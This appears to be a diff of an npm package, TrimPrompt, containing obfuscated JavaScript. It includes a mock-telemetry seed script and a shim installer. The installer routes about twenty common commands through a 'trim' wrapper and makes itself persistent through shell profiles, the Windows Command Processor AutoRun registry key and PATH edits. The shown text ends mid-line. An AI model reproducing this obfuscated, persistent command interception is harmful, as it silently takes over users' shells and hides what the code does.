+ 'use strict';const a0_0x4ace25=a0_0x41dc;(function(_0x4e7421,_0x1430cd){const _0x2cfd28=a0_0x41dc,_0x3acaa2=_0x4e7421();while(!![]){try{const _0x1c07ff=parseInt(_0x2cfd28(0x9d))/0x1*(parseInt(_0x2cfd28(0x8c))/0x2)+parseInt(_0x2cfd28(0x89))/0x3+parseInt(_0x2cfd28(0x96))/0x4+parseInt(_0x2cfd28(0x99))/0x5*(parseInt(_0x2cfd28(0x8e))/0x6)+parseInt(_0x2cfd28(0xa7))/0x7+-parseInt(_0x2cfd28(0x8d))/0x8*(parseInt(_0x2cfd28(0x97))/0x9)+-parseInt(_0x2cfd28(0x93))/0xa;if(_0x1c07ff===_0x1430cd)break;else _0x3acaa2['push'](_0x3acaa2['shift']());}catch(_0x1f45a4){_0x3acaa2['push'](_0x3acaa2['shift']());}}}(a0_0x1faf,0x21180));function a0_0x1faf(){const _0x3e3461=['[INFO]\x20Building\x20modules...\x0a','log','Successfully\x20built\x20image.','test_auth.py\x20PASS\x0a','695049dMFazn','Step\x201/10\x20:\x20FROM\x20node:20\x0a','tracker','214OjUKuW','392lxYFtq','35754KrNRfv','Compilation\x20Output:\x0a','Optimizing\x20assets...\x0a','claude-3-opus','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','2942370RiQzCQ','defineProperty','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','918804kZFabY','48591thbvqw','Database\x20successfully\x20seeded!','20HTEOgh','gpt-4o','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','__esModule','1627LAEmxz','gemini-1-5-pro','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','npm\x20run\x20build','logExecution','repeat','./tracker','Test\x20suite\x20run\x20starting...\x0a','pytest\x20tests/app','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','245217lzoSTo'];a0_0x1faf=function(){return _0x3e3461;};return a0_0x1faf();}Object[a0_0x4ace25(0x94)](exports,a0_0x4ace25(0x9c),{'value':!![]});const tracker_1=require(a0_0x4ace25(0xa3));function a0_0x41dc(_0x10bc2e,_0x5a1560){_0x10bc2e=_0x10bc2e-0x87;const _0x1faf5f=a0_0x1faf();let _0x41dc2f=_0x1faf5f[_0x10bc2e];return _0x41dc2f;}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x91),tracker_1['tracker'][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa0),a0_0x4ace25(0x8f)+a0_0x4ace25(0xa8)+a0_0x4ace25(0x90)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'['repeat'](0x190),a0_0x4ace25(0xa6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9a),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)](a0_0x4ace25(0xa5),a0_0x4ace25(0xa4)+a0_0x4ace25(0x88)+'test_db.py\x20PASS\x0a'+'test_api.py\x20PASS\x0a'[a0_0x4ace25(0xa2)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x4ace25(0x95),0x0),process.env.TRIMPROMPT_MODEL=a0_0x4ace25(0x9e),tracker_1[a0_0x4ace25(0x8b)][a0_0x4ace25(0xa1)]('docker\x20build\x20.',a0_0x4ace25(0x92)+a0_0x4ace25(0x8a)+a0_0x4ace25(0x9b)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x4ace25(0xa2)](0x3)+a0_0x4ace25(0x87),a0_0x4ace25(0x9f),0x0),console[a0_0x4ace25(0xa9)](a0_0x4ace25(0x98));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4fa91a=a0_0x5cf8;(function(_0x101bb3,_0x213509){const _0x6409ad=a0_0x5cf8,_0x1b8b7c=_0x101bb3();while(!![]){try{const _0x44dde3=parseInt(_0x6409ad(0x12f))/0x1*(parseInt(_0x6409ad(0xfa))/0x2)+-parseInt(_0x6409ad(0xd7))/0x3*(-parseInt(_0x6409ad(0xce))/0x4)+parseInt(_0x6409ad(0xe9))/0x5+-parseInt(_0x6409ad(0xfe))/0x6+parseInt(_0x6409ad(0x100))/0x7+parseInt(_0x6409ad(0xf5))/0x8+-parseInt(_0x6409ad(0xd3))/0x9*(parseInt(_0x6409ad(0xf0))/0xa);if(_0x44dde3===_0x213509)break;else _0x1b8b7c['push'](_0x1b8b7c['shift']());}catch(_0x1e9e59){_0x1b8b7c['push'](_0x1b8b7c['shift']());}}}(a0_0x1de8,0x24039));var __createBinding=this&&this[a0_0x4fa91a(0xf8)]||(Object[a0_0x4fa91a(0x11a)]?function(_0x58d199,_0x5c27e2,_0x2a0d19,_0x46627a){const _0x3ec59b=a0_0x4fa91a;if(_0x46627a===undefined)_0x46627a=_0x2a0d19;var _0x26d782=Object[_0x3ec59b(0x122)](_0x5c27e2,_0x2a0d19);(!_0x26d782||(_0x3ec59b(0xd1)in _0x26d782?!_0x5c27e2[_0x3ec59b(0xec)]:_0x26d782[_0x3ec59b(0xe3)]||_0x26d782[_0x3ec59b(0x12d)]))&&(_0x26d782={'enumerable':!![],'get':function(){return _0x5c27e2[_0x2a0d19];}}),Object[_0x3ec59b(0xc3)](_0x58d199,_0x46627a,_0x26d782);}:function(_0x598920,_0x250104,_0x2bada3,_0x39f544){if(_0x39f544===undefined)_0x39f544=_0x2bada3;_0x598920[_0x39f544]=_0x250104[_0x2bada3];}),__setModuleDefault=this&&this[a0_0x4fa91a(0x10e)]||(Object['create']?function(_0x292353,_0x4dfba9){const _0x29682b=a0_0x4fa91a;Object[_0x29682b(0xc3)](_0x292353,'default',{'enumerable':!![],'value':_0x4dfba9});}:function(_0x4d8e01,_0x2d00d1){const _0x417bf3=a0_0x4fa91a;_0x4d8e01[_0x417bf3(0x102)]=_0x2d00d1;}),__importStar=this&&this[a0_0x4fa91a(0xf3)]||(function(){var _0x9596b3=function(_0xd381ad){const _0x2bf15d=a0_0x5cf8;return _0x9596b3=Object[_0x2bf15d(0xd8)]||function(_0x1b8b15){const _0x3977e2=_0x2bf15d;var _0x4e1863=[];for(var _0x54aafb in _0x1b8b15)if(Object['prototype'][_0x3977e2(0x119)][_0x3977e2(0xfd)](_0x1b8b15,_0x54aafb))_0x4e1863[_0x4e1863['length']]=_0x54aafb;return _0x4e1863;},_0x9596b3(_0xd381ad);};return function(_0x18aca8){const _0x1fa92a=a0_0x5cf8;if(_0x18aca8&&_0x18aca8[_0x1fa92a(0xec)])return _0x18aca8;var _0x36e18a={};if(_0x18aca8!=null){for(var _0x1b73fa=_0x9596b3(_0x18aca8),_0x5d3c0a=0x0;_0x5d3c0a<_0x1b73fa[_0x1fa92a(0x103)];_0x5d3c0a++)if(_0x1b73fa[_0x5d3c0a]!==_0x1fa92a(0x102))__createBinding(_0x36e18a,_0x18aca8,_0x1b73fa[_0x5d3c0a]);}return __setModuleDefault(_0x36e18a,_0x18aca8),_0x36e18a;};}());Object[a0_0x4fa91a(0xc3)](exports,a0_0x4fa91a(0xec),{'value':!![]}),exports[a0_0x4fa91a(0x10b)]=installShims,exports[a0_0x4fa91a(0x10f)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x4fa91a(0xd5))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x4fa91a(0xf4),a0_0x4fa91a(0xef),a0_0x4fa91a(0xdb),a0_0x4fa91a(0xe2),'rg',a0_0x4fa91a(0x132),a0_0x4fa91a(0x11e),'gh',a0_0x4fa91a(0x114),'cargo',a0_0x4fa91a(0x117),a0_0x4fa91a(0xe4),a0_0x4fa91a(0xfb),a0_0x4fa91a(0xcf),a0_0x4fa91a(0xc1),a0_0x4fa91a(0x133),'pytest',a0_0x4fa91a(0xc6),a0_0x4fa91a(0x10d),'go'],PROFILE_MARKER=a0_0x4fa91a(0xff);function getExecSync(){const _0x12d1db=a0_0x4fa91a;return require('child_process')[_0x12d1db(0x105)];}function getExecFileSync(){const _0x53592b=a0_0x4fa91a;return require(_0x53592b(0xd2))['execFileSync'];}function ensureProfileContains(_0x2ab07b,_0x461bd4,_0x547716){const _0x286c4f=a0_0x4fa91a;try{const _0xcd1b3d=path[_0x286c4f(0x12a)](_0x2ab07b);!fs[_0x286c4f(0xe8)](_0xcd1b3d)&&fs[_0x286c4f(0x125)](_0xcd1b3d,{'recursive':!![]});if(fs[_0x286c4f(0xe8)](_0x2ab07b)){const _0x298e1f=fs[_0x286c4f(0x120)](_0x2ab07b,_0x286c4f(0x12b));if(_0x298e1f[_0x286c4f(0xc8)](_0x461bd4))return;fs[_0x286c4f(0x112)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}else fs[_0x286c4f(0x107)](_0x2ab07b,_0x547716,_0x286c4f(0x12b));}catch{}}function removeProfileBlock(_0x166da5,_0x576188){const _0x5eedf0=a0_0x4fa91a;try{if(!fs['existsSync'](_0x166da5))return;const _0x3e6413=fs[_0x5eedf0(0x120)](_0x166da5,'utf8');if(!_0x3e6413[_0x5eedf0(0xc8)](_0x576188))return;const _0x1934f6=_0x3e6413[_0x5eedf0(0xed)]('\x0a'),_0x16e739=[];let _0x1f179d=![];for(let _0x23f861=0x0;_0x23f861<_0x1934f6[_0x5eedf0(0x103)];_0x23f861++){if(_0x1934f6[_0x23f861][_0x5eedf0(0xc8)](_0x576188)){_0x1f179d=!![];continue;}if(_0x1f179d){_0x1f179d=![];continue;}_0x16e739['push'](_0x1934f6[_0x23f861]);}const _0x20f78e=_0x16e739[_0x5eedf0(0x118)]('\x0a')[_0x5eedf0(0x116)](/\n{3,}/g,'\x0a\x0a');fs[_0x5eedf0(0x107)](_0x166da5,_0x20f78e,_0x5eedf0(0x12b));}catch{}}function collectPowerShellProfiles(){const _0x418da9=a0_0x4fa91a,_0x4cb0e5=getExecSync(),_0x2fb6c1=[],_0x32f731=[[_0x418da9(0xe5),_0x418da9(0xc9)],[_0x418da9(0xe5),_0x418da9(0x129)]];try{_0x4cb0e5('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x418da9(0xcd)}),_0x32f731[_0x418da9(0x128)](['pwsh',_0x418da9(0x129)]);}catch{}for(const [_0x2ef6bf,_0x44b724]of _0x32f731){try{const _0x23107e=_0x4cb0e5(_0x2ef6bf+_0x418da9(0xe7)+_0x44b724+'\x22',{'encoding':_0x418da9(0x12b)})[_0x418da9(0xde)]();_0x23107e&&!_0x2fb6c1[_0x418da9(0x101)](_0x2eb407=>_0x2eb407[_0x418da9(0x11c)]()===_0x23107e[_0x418da9(0x11c)]())&&_0x2fb6c1[_0x418da9(0x128)](_0x23107e);}catch{}}return _0x2fb6c1;}function getBashProfilesWindows(){const _0x554ae0=a0_0x4fa91a,_0x541233=os[_0x554ae0(0x106)]();return[_0x554ae0(0xca),_0x554ae0(0xd4)][_0x554ae0(0xc2)](_0x3ffbe5=>path[_0x554ae0(0x118)](_0x541233,_0x3ffbe5));}function getBroadcastCommand(){const _0x797a4=a0_0x4fa91a;return _0x797a4(0xe6);}function installShims(){const _0x4743da=a0_0x4fa91a,_0x3caca5=path['join'](os['homedir'](),'.trimprompt',_0x4743da(0xf7));try{!fs[_0x4743da(0xe8)](_0x3caca5)&&fs[_0x4743da(0x125)](_0x3caca5,{'recursive':!![]});const _0x21a10f=os[_0x4743da(0xe0)]()===_0x4743da(0xda);for(const _0x20c470 of SHIMMED_COMMANDS){if(_0x21a10f){const _0x418f0c=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+_0x4743da(0x113));fs[_0x4743da(0x107)](_0x418f0c,'@echo\x20off\x0atrim\x20'+_0x20c470+_0x4743da(0xd0),'utf8');const _0x476cb4=path[_0x4743da(0x118)](_0x3caca5,_0x20c470+'.ps1');fs['writeFileSync'](_0x476cb4,_0x4743da(0x104)+_0x20c470+'\x20@args\x0a',_0x4743da(0x12b));const _0x32e798=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x32e798,_0x4743da(0xc7)+_0x20c470+_0x4743da(0xeb),'utf8');}else{const _0x4a8546=path[_0x4743da(0x118)](_0x3caca5,_0x20c470);fs[_0x4743da(0x107)](_0x4a8546,_0x4743da(0xc7)+_0x20c470+'\x20\x22$@\x22\x0a',_0x4743da(0x12b)),fs['chmodSync'](_0x4a8546,_0x4743da(0xcb));}}let _0x2e4f6a=![],_0x34a84d='';if(_0x21a10f)try{const _0x270741=getExecSync(),_0x4b78c6=_0x4743da(0x121)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x3caca5+_0x4743da(0x12c),_0x97e383=collectPowerShellProfiles();for(const _0x93deb5 of _0x97e383){ensureProfileContains(_0x93deb5,_0x3caca5,_0x4b78c6);}try{const _0x16a1fc=getExecFileSync(),_0x3b8914=_0x4743da(0x131)+_0x3caca5+_0x4743da(0x11d)+_0x3caca5+_0x4743da(0xf1),_0x3f352a='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x3a9dd0='';try{const _0x2e6601=_0x4743da(0x109)+_0x3f352a+_0x4743da(0x127);_0x3a9dd0=_0x16a1fc('powershell.exe',[_0x4743da(0xfc),_0x4743da(0xcc),_0x2e6601],{'encoding':_0x4743da(0x12b),'stdio':[_0x4743da(0x126),_0x4743da(0x126),'ignore']})[_0x4743da(0xde)]();}catch{}if(!_0x3a9dd0[_0x4743da(0xc8)](_0x3caca5)){const _0x38d14c=_0x3a9dd0?_0x3a9dd0+_0x4743da(0xd6)+_0x3b8914:_0x3b8914,_0x131133=_0x4743da(0xc5)+_0x3f352a+_0x4743da(0x136)+_0x3f352a+_0x4743da(0x137)+_0x38d14c+'\x27';_0x16a1fc(_0x4743da(0x11b),[_0x4743da(0xfc),_0x4743da(0xcc),_0x131133],{'stdio':_0x4743da(0xcd)});}}catch{}try{const _0x2e628e=_0x3caca5[_0x4743da(0x116)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x14d263,_0x560390)=>'/'+_0x560390[_0x4743da(0x11c)]()),_0x165fb9=_0x4743da(0x121)+PROFILE_MARKER+_0x4743da(0x111)+_0x2e628e+_0x4743da(0x124),_0x554c11=getBashProfilesWindows();let _0x24f379=![];for(const _0x349450 of _0x554c11){fs[_0x4743da(0xe8)](_0x349450)&&(ensureProfileContains(_0x349450,_0x2e628e,_0x165fb9),_0x24f379=!![]);}!_0x24f379&&ensureProfileContains(_0x554c11[0x0],_0x2e628e,_0x165fb9);}catch{}const _0xc01ecb=_0x4743da(0xe1),_0x3dc764=_0x270741(_0x4743da(0xee)+_0xc01ecb+'\x22',{'encoding':_0x4743da(0x12b),'stdio':['pipe',_0x4743da(0x126),_0x4743da(0xcd)]})['trim']();if(!_0x3dc764[_0x4743da(0xc8)](_0x3caca5)){const _0x33dd08=_0x3caca5+';'+_0x3dc764,_0x55e101=_0x33dd08['replace'](/'/g,'\x27\x27'),_0x27ac2d=_0x4743da(0xea)+_0x55e101+_0x4743da(0x115);_0x270741('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27ac2d+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0xda6ada=path[_0x4743da(0x118)](process.env.APPDATA||'',_0x4743da(0x117),_0x4743da(0x12e));if(fs[_0x4743da(0xe8)](_0xda6ada))try{fs[_0x4743da(0xf6)](_0xda6ada);}catch{}_0x2e4f6a=!![];}catch(_0x217d16){_0x34a84d=_0x4743da(0xdd)+_0x3caca5;}else try{const _0x267850=_0x4743da(0x123)+_0x3caca5+_0x4743da(0x124),_0x2db5c2=os[_0x4743da(0x106)](),_0x102d66=[_0x4743da(0xca),_0x4743da(0xdc),_0x4743da(0xd4),_0x4743da(0x138)];let _0x58c82a=![];for(const _0x3a9380 of _0x102d66){const _0x92c270=path[_0x4743da(0x118)](_0x2db5c2,_0x3a9380);fs[_0x4743da(0xe8)](_0x92c270)&&(ensureProfileContains(_0x92c270,_0x3caca5,_0x4743da(0x121)+PROFILE_MARKER+'\x0a'+_0x267850),_0x58c82a=!![]);}if(!_0x58c82a){const _0x331251=path[_0x4743da(0x118)](_0x2db5c2,_0x4743da(0xca));ensureProfileContains(_0x331251,_0x3caca5,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x267850);}_0x2e4f6a=!![];}catch(_0x4603a5){_0x34a84d='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x3caca5+':$PATH\x22';}const _0x1c3074=_0x4743da(0xf2)+SHIMMED_COMMANDS[_0x4743da(0x103)]+'\x20commands.\x0a\x0a',_0x4176e7=_0x2e4f6a?_0x1c3074+_0x4743da(0x11f):_0x1c3074+_0x4743da(0xc4)+_0x34a84d;return{'success':!![],'pathDir':_0x3caca5,'message':_0x4176e7};}catch(_0x3ba15d){return{'success':![],'pathDir':_0x3caca5,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x3ba15d[_0x4743da(0xd9)]};}}function a0_0x5cf8(_0xd7da1e,_0x4192c4){_0xd7da1e=_0xd7da1e-0xc1;const _0x1de8fd=a0_0x1de8();let _0x5cf896=_0x1de8fd[_0xd7da1e];return _0x5cf896;}function uninstallShims(){const _0xf13883=a0_0x4fa91a,_0x2ed28e=path[_0xf13883(0x118)](os[_0xf13883(0x106)](),_0xf13883(0x134),'shims'),_0x5d2c7b=os[_0xf13883(0xe0)]()===_0xf13883(0xda);try{if(_0x5d2c7b){const _0x4c4dfe=getExecSync();try{const _0x56dd15=getExecFileSync(),_0x2fa8f7=_0xf13883(0x110),_0xe080=_0xf13883(0x109)+_0x2fa8f7+_0xf13883(0x127),_0x2f5dff=_0x56dd15(_0xf13883(0x11b),['-NoProfile',_0xf13883(0xcc),_0xe080],{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),_0xf13883(0xcd)]})[_0xf13883(0xde)]();if(_0x2f5dff[_0xf13883(0xc8)](_0x2ed28e)){const _0x1301a8=_0x2f5dff[_0xf13883(0xed)](_0xf13883(0xd6))[_0xf13883(0x10a)](_0x51f0c1=>!_0x51f0c1['includes'](_0x2ed28e));if(_0x1301a8[_0xf13883(0x103)]===0x0){const _0x2e3488=_0xf13883(0x10c)+_0x2fa8f7+_0xf13883(0xdf);_0x56dd15(_0xf13883(0x11b),[_0xf13883(0xfc),'-Command',_0x2e3488],{'stdio':'ignore'});}else{const _0x5e4c4c=_0x1301a8['join'](_0xf13883(0xd6)),_0x185524=_0xf13883(0x130)+_0x2fa8f7+_0xf13883(0x137)+_0x5e4c4c+'\x27';_0x56dd15(_0xf13883(0x11b),['-NoProfile','-Command',_0x185524],{'stdio':'ignore'});}}}catch{}try{const _0x2df8c3=collectPowerShellProfiles();for(const _0x12582f of _0x2df8c3){removeProfileBlock(_0x12582f,PROFILE_MARKER);}}catch{}try{for(const _0x58758b of getBashProfilesWindows()){removeProfileBlock(_0x58758b,PROFILE_MARKER);}}catch{}try{const _0x4519a4=_0xf13883(0xe1),_0x29057a=_0x4c4dfe(_0xf13883(0xee)+_0x4519a4+'\x22',{'encoding':_0xf13883(0x12b),'stdio':[_0xf13883(0x126),_0xf13883(0x126),'ignore']})[_0xf13883(0xde)]();if(_0x29057a[_0xf13883(0xc8)](_0x2ed28e)){const _0x32cd8d=_0x29057a[_0xf13883(0xed)](';')['filter'](_0x2d4f86=>_0x2d4f86[_0xf13883(0xde)]()[_0xf13883(0x11c)]()!==_0x2ed28e[_0xf13883(0x11c)]())['join'](';'),_0x3d1d74=_0x32cd8d[_0xf13883(0x116)](/'/g,'\x27\x27'),_0x277a08=_0xf13883(0xea)+_0x3d1d74+_0xf13883(0x115);_0x4c4dfe(_0xf13883(0xee)+_0x277a08+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0xf13883(0xcd)});}}catch{}}else{const _0x41eab4=os[_0xf13883(0x106)](),_0x934275=['.bashrc',_0xf13883(0xdc),_0xf13883(0xd4),_0xf13883(0x138)];for(const _0x37da22 of _0x934275){removeProfileBlock(path[_0xf13883(0x118)](_0x41eab4,_0x37da22),PROFILE_MARKER);}}if(fs[_0xf13883(0xe8)](_0x2ed28e)){const _0x2f443a=fs['readdirSync'](_0x2ed28e);for(const _0x304a5f of _0x2f443a){fs[_0xf13883(0xf6)](path[_0xf13883(0x118)](_0x2ed28e,_0x304a5f));}fs[_0xf13883(0xf9)](_0x2ed28e);}return{'success':!![],'message':_0xf13883(0x108)};}catch(_0x924be3){return{'success':![],'message':_0xf13883(0x135)+_0x924be3[_0xf13883(0xd9)]};}}function a0_0x1de8(){const _0x339e87=['utf8',';\x22\x20+\x20$env:PATH\x0a','configurable','trim.ps1','1YRChmM','Set-ItemProperty\x20-Path\x20\x27','if\x20exist\x20\x22','ruff','docker','.trimprompt','Failed\x20to\x20uninstall\x20shims:\x20','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.profile','kubectl','map','defineProperty','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','New-Item\x20-Path\x20\x27','pip','#!/bin/sh\x0aexec\x20trim\x20','includes','$PROFILE.CurrentUserCurrentHost','.bashrc','755','-Command','ignore','114196grQBzO','yarn','\x20%*\x0a','get','child_process','190350pmSbMh','.bash_profile','path','\x20&\x20','12RyuUIZ','getOwnPropertyNames','message','win32','read','.zshrc','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','trim','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','platform','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','grep','writable','pnpm','powershell','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','\x20-NoProfile\x20-Command\x20\x22','existsSync','622730DRuJKZ','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','__esModule','split','powershell\x20-NoProfile\x20-Command\x20\x22','cat','300uCKAtC',';%PATH%\x22','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__importStar','tree','1138784Ulrmwl','unlinkSync','shims','__createBinding','rmdirSync','505526oKyxlP','npx','-NoProfile','call','818154oMwRaI','TrimPrompt\x20Shims\x20PATH','1991633Mlfccn','some','default','length','&\x20trim\x20','execSync','homedir','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','filter','installShims','Remove-ItemProperty\x20-Path\x20\x27','pip3','__setModuleDefault','uninstallShims','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x0aexport\x20PATH=\x22','appendFileSync','.cmd','glab','\x27,\x20\x27User\x27)','replace','npm','join','hasOwnProperty','create','powershell.exe','toLowerCase','\x22\x20set\x20\x22PATH=','git','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','readFileSync','\x0a#\x20','getOwnPropertyDescriptor','export\x20PATH=\x22',':$PATH\x22\x0a','mkdirSync','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','push','$PROFILE.CurrentUserAllHosts','dirname'];a0_0x1de8=function(){return _0x339e87;};return a0_0x1de8();}
1
+ 'use strict';const a0_0x5f12c6=a0_0x2009;(function(_0x25410f,_0x721d81){const _0x1ebea3=a0_0x2009,_0x131175=_0x25410f();while(!![]){try{const _0xebe3c4=parseInt(_0x1ebea3(0x1b3))/0x1+-parseInt(_0x1ebea3(0x1c6))/0x2+parseInt(_0x1ebea3(0x19d))/0x3*(parseInt(_0x1ebea3(0x198))/0x4)+-parseInt(_0x1ebea3(0x1b8))/0x5+parseInt(_0x1ebea3(0x196))/0x6+parseInt(_0x1ebea3(0x190))/0x7+parseInt(_0x1ebea3(0x18b))/0x8;if(_0xebe3c4===_0x721d81)break;else _0x131175['push'](_0x131175['shift']());}catch(_0x5aa6f5){_0x131175['push'](_0x131175['shift']());}}}(a0_0x45ea,0xde958));function a0_0x45ea(){const _0x4a945f=['execSync','Failed\x20to\x20install\x20shims:\x20','TrimPrompt\x20Shims\x20PATH','.ps1','push','read','writeFileSync','hasOwnProperty','\x22\x20set\x20\x22PATH=','__esModule','pwsh','-NoProfile','powershell\x20-NoProfile\x20-Command\x20\x22','\x20%*\x0a',';\x22\x20+\x20$env:PATH\x0a','.zshrc','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','.bash_profile','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','export\x20PATH=\x22','__importStar','dirname','existsSync','map','\x0a#\x20','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','replace','npm','&\x20trim\x20','pytest','-Command','pipe','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','default','1211144hjUucP','grep','\x20@args\x0a','tree','call','4260172BsCXvX','pnpm','getOwnPropertyDescriptor','.bashrc','chmodSync','\x0aexport\x20PATH=\x22','966702jIZeQy','child_process','756COUHjk','utf8','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20&\x20','New-Item\x20-Path\x20\x27','345awOcWV','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','.profile','execFileSync','\x0a$env:PATH\x20=\x20\x22','npx','win32','length','includes','prototype','755','Remove-ItemProperty\x20-Path\x20\x27','join','__setModuleDefault','\x27,\x20\x27User\x27)','filter','git','pip','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','uninstallShims','#!/bin/sh\x0aexec\x20trim\x20','@echo\x20off\x0atrim\x20','1804865EdkdSp','ignore','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','create','.trimprompt','3300285CuBPAk','if\x20exist\x20\x22','mkdirSync','kubectl','homedir','shims','message','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','\x20\x22$@\x22\x0a','defineProperty','ruff','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','cargo','trim','2351890UKWXLC','cat','split','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','__createBinding','writable',':$PATH\x22\x0a','Failed\x20to\x20uninstall\x20shims:\x20','toLowerCase','\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell.exe','docker','\x20commands.\x0a\x0a','glab','platform',':$PATH\x22','Set-ItemProperty\x20-Path\x20\x27','.cmd','readFileSync','unlinkSync','get'];a0_0x45ea=function(){return _0x4a945f;};return a0_0x45ea();}var 